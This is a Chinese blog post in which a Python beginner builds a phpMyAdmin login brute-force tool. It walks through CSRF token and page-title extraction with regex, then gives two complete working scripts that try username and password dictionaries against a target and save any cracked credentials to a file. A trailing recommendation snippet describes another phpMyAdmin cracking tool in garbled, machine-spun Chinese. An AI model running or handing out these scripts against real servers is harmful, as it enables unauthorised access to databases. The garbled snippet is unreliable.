phpmyadmin爆破脚本练习

初学python不久 记录一下写脚本的过程

思路 过程

首先 是要对于phpadmin的账号密码进行爆破

先找个环境抓个包看看

请添加图片描述

了解到需要脚本中 准备 请求头 还需要获取到token 最好还能获取到标题 以作验证

提交的数据中 需要pma_username pma_password server=1 target=index.php token等数据

还要进行会话保持

http协议本身是无状态的,为了让请求之间保持状态,有了session和cookie机制。requests也提供了相应的方法去操纵它们。

requests中的session对象能够让我们跨http请求保持某些参数,就是比如使用session成功的登录了某个网站,则在再次使用该session对象求求该网站的其他网页都会默认使用该session之前使用的cookie等参数,尤其是在保持登陆状态时运用的最多,在某些网站抓取,或者app抓取时,有的是强制登陆,有的是不登陆返回的数据就是假的或者说是不完整的数据,那我们不可能去做到每一次请求都要去登陆一下怎么办,就需要用到保持会话的功能了,我们可以只登陆一次,然后保持这种状态去做其他的或者更多的请求。

同时 由于 phpmyadmin中存在token 还需要获取token 还需要获取标题

在获取过程中 需要使用到 re.findall函数来对需要的数据进行正则匹配

. # 点可代表一切字符

\ # 起转义作用

[...] # 指代方括号中的任意字符

\d # 指代数字0-9

\D # 指代非数字

\s # 指代一切空格,包括tab制表符、空格、换行等

\S # 指代非空格

\w # 指代大小写字母、数字和下划线

\W # 指代非大小写字母、数字和下划线

* # 匹配前面字符 >=0 次

+ # 匹配前面字符1次及以上

? # 匹配前面字符0次或1次

{m} # 匹配m次

{m,n} # 匹配m到n次

{m,} # 至少匹配m次

经过调试和验证 得到获取token的语句

name=\"token\" value=\"(.*?)\" />

获取标题的语句
登录前
请添加图片描述

登录后

请添加图片描述

可以通过这个来判断是否登陆成功

通过前后获取到的标题长度不同 或者相同 应该可以判断 是能登陆还是不能

<title>(.*)</title>

获取了标题和token 然后再爆破

同时 在获取token时还遇到了编码解码问题 一些字符会被转义 百度以后查找类似问题后 发现引入unescape函数可以解决问题

return unescape(token[0]) if token else None

爆破成功还可以输出爆破成功的密码账号到txt中

print字符串前面加f表示格式化字符串,加f后可以在字符串里面使用用花括号括起来的变量和表达式,如果字符串里面没有表达式,那么前面加不加f输出应该都一样.

最后得到的脚本如下

脚本

from requests import session
from re import findall
from html import unescape

# phpmyadmin地址,例如 http://localhost/index.php
target = 'http://localhost/index.php'
# 要爆破的用户名
user = 'root'
# 密码字典文件路径
passdic = 'password.txt'
#
ss = session()
ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate',
              'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \
              Chrome/87.0.4280.88 Safari/537.36'}


def get_token(text) -> str:
    # 获取token
    token = findall("name=\"token\" value=\"(.*?)\" />", text)
    return unescape(token[0]) if token else None


def get_title(text) -> str:
    # 获取标题
    title = findall('<title>(.*)</title>', text)
    return title[0] if title else None


def try_login(user, pwd, token):
    # 尝试登陆
    data = {'pma_username': user,
            'pma_password': pwd,
            'server': 1,
            'target': 'index.php',
            'token': token}
    r = ss.post(url=target, data=data)
    return r.text


def burst_pma():
    # 爆破
    with open(passdic, 'r', encoding='utf-8') as f:
        html = try_login('', '', '')
        title_fail = get_title(html)
        token = get_token(html)
        for line in f:
            pwd = line.strip()
            print(f'[?] loading...  {user}  {pwd}  ')
            html = try_login(user, pwd, token)
            title = get_title(html)
            token = get_token(html)
            if title != title_fail:
                print(f'[√] success  {title}')
                with open('success.txt', 'a', encoding='utf-8') as f:
                    f.write(f'{target}  |  {user}  |  {pwd}\n')
                break
            else:
                print(f'[×] failed  {title}')

    try:
        if __name__ == "__main__":
            burst_pma()
    except Exception as e:
        print(e)

同时生成的密码文件

请添加图片描述

2021-8-5 增加了爆破的灵活性 增加了用户名文件

#!/usr/bin/env python3
# -*- coding: UTF-8 -*-
#使用时需要修改 target中的url 脚本同目录下的字典文件 namedic.txt passdic.txt

from requests import session
from re import findall
from html import unescape

# phpmyadmin地址,例如 http://localhost/index.php
target = 'http://1.1.1.1:1/index.php'

# 用户名字典文件
#user = 'root'
namedic = 'namedic.txt'
# 字典文件路径
passdic = 'password.txt'

ss = session()
ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate',
              'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) \
              Chrome/87.0.4280.88 Safari/537.36'}

	# 获取token函数
def get_token(text) -> str:
    token = findall("name=\"token\" value=\"(.*?)\" />", text)
    return unescape(token[0]) if token else None

	# 获取网站标题函数
def get_title(text) -> str:
    title = findall('<title>(.*)</title>', text)
    return title[0] if title else None

	#尝试登录函数
def try_login(user, pwd, token):
    data = {'pma_username': user,
            'pma_password': pwd,
            'server': 1,
            'target': 'index.php',
            'token': token}
    r = ss.post(url=target, data=data)
    return r.text

	#爆破函数
def burst_pma():
    html = try_login('', '', '')
    title_fail = get_title(html)
    token = get_token(html)
    with open(passdic, 'r', encoding='utf-8') as f:
        for line in f:
            with open(namedic, 'r', encoding='utf-8') as h:
                for li in h:
                    user = li.strip()
                    pwd = line.strip()
                    print(f'[?] loading  {user}  {pwd}  ')
                    html = try_login(user, pwd, token)
                    title = get_title(html)
                    token = get_token(html)
                    if title != title_fail:
                        print(f'[+] success  {title}')
                        with open('success.txt', 'a', encoding='utf-8') as g:
                            g.write(f'{target}  |  {user}  |  {pwd}\n')
                        break
                    else:
                        print(f'[-] failed  {title}')


if __name__ == "__main__":
    try:
        burst_pma()
    except Exception as e:
        print(e)

在这里插入图片描述

反思

1.由于对python的内容了解不多 很多功能一开始并不知道怎么实现 ,百度才发现有现成的函数 和功能 对于登录成功的判断有点投机取巧 应该是有更加明确的方式进行判断的

2.对于脚本工具的使用更加了解,增加了对python的认知

3.写完考虑到可能不只是单一用户名 后续可以 加上对用户名的遍历打开俩文件遍历 还差点翻车 …

4.还是多练习 这次啥也不懂查了好多资料 看了好多类似的爆破 脚本 对于正则表达式用的不够熟练 提取数据试验了很多次 很多地方写的还很笨 以后学的多了慢慢修改,,,,

参考文章

https://www.sqlsec.com/2018/07/pyscript1.html

https://blog.csdn.net/wsnbbz/article/details/105531530

https://blog.csdn.net/blbq105/article/details/85274676

https://www.cnblogs.com/zhuosanxun/p/12679121.html

https://zhuanlan.zhihu.com/p/139596371

https://www.cnblogs.com/wangbinbin/p/7101099.html

https://www.cnblogs.com/dearddu/p/12464891.html

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
我正在网上搜刮了一下没发明相干的东西, 因而本身出手翰单真现这听命, 而今phpMyAdmin3.2.5,phpMyAdmin3.2.1、phpMyAdmin2.11.2版本测试均成功! 此东西仅供网友技术进修交换利用,请勿利用于犯警用处。 MySQL数据库字典,人人就本身网上支散了! 当前版本 v1.2 MD5:541465699949f3d60fcea923ccf245b2 sha1:e23d7ce46606d530abc4a9e473bdb0b5247aaff1 – ver1.2 措置对phpMyAdmin3.2.5版本暴破有标题问题,删加了一个工作线程, 美化了界面。 – ver1.1 1.0版本有个标题问题,正在win7、vista下都不能正常扫描, 现曾纠正过往。 ————————————————— 技术总结: 《vc6建正删除cookie真现》 InternetSetCookie函数太老,能建正一般cookie值,但是正在win7下高版本Wininet.DLL中无法让HTTPONLY类型的cookie过时, 要利用InternetSetCookieEx函数才成功,正在vs2010下直接用该函数,vc6下本身加载模块查找函数, vc6下查找利用该函数删除cookie以下: HINSTANCE hInst = LoadLibrary(“Wininet.DLL”); if(hInst) { typedef BOOL (WINAPI *pfnInternetSetCookieEx)(LPCSTR, LPCSTR, LPCSTR, DWORD, DWORD); pfnInternetSetCookieEx InternetSetCookieEx = NULL; InternetSetCookieEx = (pfnInternetSetCookieEx)GetProcAddress(hInst, “InternetSetCookieExA”); //InternetSetCookieEx(m_url, NULL, ” phpMyAdmin=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); InternetSetCookieEx(m_url, NULL, ” phpMyAdmin=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); FreeLibrary(hInst); } 寄看,要分隔设置cookie字段,不能一次设置多个字段,不然不成功,下面的语句只要第一个字段被设置成功,其它字段均不成功! InternetSetCookieEx(m_url, NULL, ” phpMyAdmin=; pma_mcrypt_iv=; pmaUser-1=; pmaPass-1=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); 精确理当如许写, InternetSetCookieEx(m_url, NULL, ” phpMyAdmin=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); InternetSetCookieEx(m_url, NULL, ” pma_mcrypt_iv=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); InternetSetCookieEx(m_url, NULL, ” pmaUser-1=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); InternetSetCookieEx(m_url, NULL, ” pmaPass-1=; expires=Thu, 01-Jan-1900 00:00:01 GMT”, INTERNET_COOKIE_HTTPONLY, NULL); 1>

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值